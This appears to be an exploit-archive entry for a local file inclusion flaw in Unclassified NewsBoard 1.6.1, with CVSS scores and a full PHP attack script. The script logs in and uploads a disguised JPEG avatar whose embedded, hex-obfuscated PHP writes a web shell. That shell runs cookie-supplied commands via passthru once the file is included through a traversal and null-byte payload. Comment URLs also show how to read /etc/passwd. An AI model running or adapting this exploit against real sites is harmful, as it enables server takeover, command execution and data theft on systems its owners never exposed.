Unclassified NewsBoard <= 1.6.1 patch 1 ABBC[Config][smileset] arbitrary local inclusion

2006.05.17
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "Unclassified NewsBoard <= 1.6.1 patch 1 ABBC[Config][smileset] arbitraryrn"; echo "local inclusionrn"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrnrn"; echo "works with register_globals = On & magic_quotes_gpc = Offrnrn"; if ($argc<6) { echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to UNBrn"; echo "cmd: a shell commandrn"; echo "user/pass: you need a valid user account to upload filesrn"; echo "Options:rn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Examples:rn"; echo "php ".$argv[0]." localhost /unb/ your_username password cat ./../board.conf.phprn"; echo "php ".$argv[0]." localhost /unb/ your_username password ls -la -p81rn"; echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80rnrn"; die; } /* software site: http://newsboard.unclassified.de/ description: "The Unclassified NewsBoard (short UNB) is an open-source, PHP-based internet bulletin board system" vulnerable code in unb_lib/abbc.conf.php at lines 635-641: ... // Smiley Definitions if ($ABBC['Config']['smileset']) { $ABBC['Config']['smilepath'] = dirname(__FILE__) . '/designs/_smile/' . $ABBC['Config']['smileset'] . '/'; $ABBC['Config']['smileurl'] = $UNB['LibraryURL'] . 'designs/_smile/' . $ABBC['Config']['smileset'] . '/'; @include($ABBC['Config']['smilepath'] . 'config.php'); } ... $ABBC['Config']['smileset'] var is not initialized before to be used to include files. You cannot have access to this code directly but in unb_lib/abbc.css.php at line 16 we have: ... require('abbc.conf.php'); ... this script is not protected by the unb_lib folder .htaccess file: # Don't allow direct PHP requests in this directory <Files *.inc.php> Order allow,deny Deny from all </Files> <Files *.lib.php> Order allow,deny Deny from all </Files> so, if register_globals = On & magic_quotes_gpc = Off, you can include files from local resources, poc: http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../.. /../../../../../../../etc/passwd%00 http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../.. /upload/avatar_[user_id].jpeg%00&cmd=ls%20-la http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../.. /upload/photo_[user_id].jpeg%00&cmd=ls%20-la this script try to include an avatar or photo with malicious php code inside, you need a valid account to upload files */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $username=$argv[3]; $pass=$argv[4]; $cmd="";$port=80;$proxy=""; for ($i=5; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "step 0 -> check if suntzu.php is already installed...rn"; $packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: cmd=".$cmd.";rn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); if (strstr($html,"56789")) { echo "Exploit succeeded..."; $temp=explode("56789",$html); die("rn".$temp[1]."rn"); } echo "step 1 -> login...rn"; $data ="LoginName=".urlencode(trim($username)); $data.="&LoginPassword=".urlencode(trim($pass)); $packet="POST ".$p."forum.php?req=setuser&module=main HTTP/1.0rn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Closernrn"; $packet.=$data; #debug #echo quick_dump($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $cookie=$temp2[0]; $temp2=explode(' ',$temp[2]); $cookie.=" ".$temp2[0]; echo 'Your cookie: '.$cookie."rn"; $temp=explode("=",$cookie); $temp2=explode("+",$temp[2]); $id=$temp2[0]; echo "User Id -> ".$id."rn"; echo "step 2 -> upload a malicious avatar with php code inside...rn"; $shell= chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).ch r(0x3f). chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).ch r(0x70). chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).ch r(0x22). chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).ch r(0x70). chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).ch r(0x29). chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).ch r(0x73). chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).ch r(0x3f). chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).ch r(0x6f). chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).ch r(0x74). chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).ch r(0x73). chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).ch r(0x5f). chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).ch r(0x29). chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).ch r(0x74). chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).ch r(0x71). chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).ch r(0x70). chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).ch r(0x24). chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).ch r(0x5b). chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).ch r(0x72). chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).ch r(0x65). chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).ch r(0x4f). chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).ch r(0x5d). chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).ch r(0x20). chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).ch r(0x61). chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).ch r(0x5c). chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).ch r(0x45). chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).ch r(0x65). chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).ch r(0x38). chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).ch r(0x0d). chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).ch r(0x28). chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).ch r(0x63). chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).ch r(0x75). chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).ch r(0x70). chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).ch r(0x0d). chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).ch r(0x4a). chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).ch r(0x00). chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).ch r(0x00). chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0x01). chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch r(0xff). chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).ch r(0x01). chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).ch r(0x03). chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).ch r(0x01). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x08). chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).ch r(0xc4). chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).ch r(0x00). chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch r(0x00). chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).ch r(0x03). chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).ch r(0x3f). chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).ch r(0x00); /* this image has this code inside as EXIF metadata content <?php $fp=fopen("suntzu.php","w"); fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo 56789;passthru($_COOKIE[cmd]);echo 56789;?>"); fclose($fp); chmod("suntzu.php",777); ?> */ $data='-----------------------------7d614f2d12043e Content-Disposition: form-data; name="action" edit -----------------------------7d614f2d12043e Content-Disposition: form-data; name="id" '.$id.' -----------------------------7d614f2d12043e Content-Disposition: form-data; name="cat" postoptions -----------------------------7d614f2d12043e Content-Disposition: form-data; name="Signature" -----------------------------7d614f2d12043e Content-Disposition: form-data; name="avatar" 1 -----------------------------7d614f2d12043e Content-Disposition: form-data; name="avatarfile"; filename="suntzu.jpeg" Content-Type: image/pjpeg '.$shell.' -----------------------------7d614f2d12043e Content-Disposition: form-data; name="avatarurl" -----------------------------7d614f2d12043e Content-Disposition: form-data; name="photofile"; filename="suntzoi.jpeg" Content-Type: image/pjpeg '.$shell.' -----------------------------7d614f2d12043e Content-Disposition: form-data; name="photourl" -----------------------------7d614f2d12043e Content-Disposition: form-data; name="photo" 1 -----------------------------7d614f2d12043e Content-Disposition: form-data; name="Save" Save -----------------------------7d614f2d12043e-- '; $packet ="POST ".$p."forum.php?req=cp HTTP/1.0rn"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d614f2d12043ern"; $packet.="Host: ".$host."rn"; $packet.="Accept-Encoding: gzip, deflatern"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Keep-Alivern"; $packet.="Cache-Control: no-cachern"; $packet.="Cookie: ".$cookie."rnrn"; $packet.=$data; #debug #echo quick_dump($packet); sendpacketii($packet); echo "step 3 -> try to include avatar or photo...rn"; $xpl=array( urlencode("../../upload/avatar_".$id.".jpeg".chr(0x00)), urlencode("../../upload/photo_".$id.".jpeg".chr(0x00)) ); for ($i=0; $i<=count($xpl)-1; $i++) { $packet ="GET ".$p."unb_lib/abbc.css.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ABBC[Config][smileset]=".$xpl[$i]."; rn"; //pass evil var through cookies $packet.="Connection: Closernrn"; $packet.=$data; #debug #echo quick_dump($packet); sendpacketii($packet); } echo "step 4 -> Launch commands...rn"; $packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: cmd=".$cmd.";rn"; $packet.="Connection: Closernrn"; $packet.=$data; #debug #echo quick_dump($packet); sendpacketii($packet); if (strstr($html,"56789")) { echo "Exploit succeeded..."; $temp=explode("56789",$html); die("rn".$temp[1]."rn"); } //if you are here... echo "Exploit failed..."; ?> original url: http://retrogod.altervista.org/unb_161p1_incl_xpl.html


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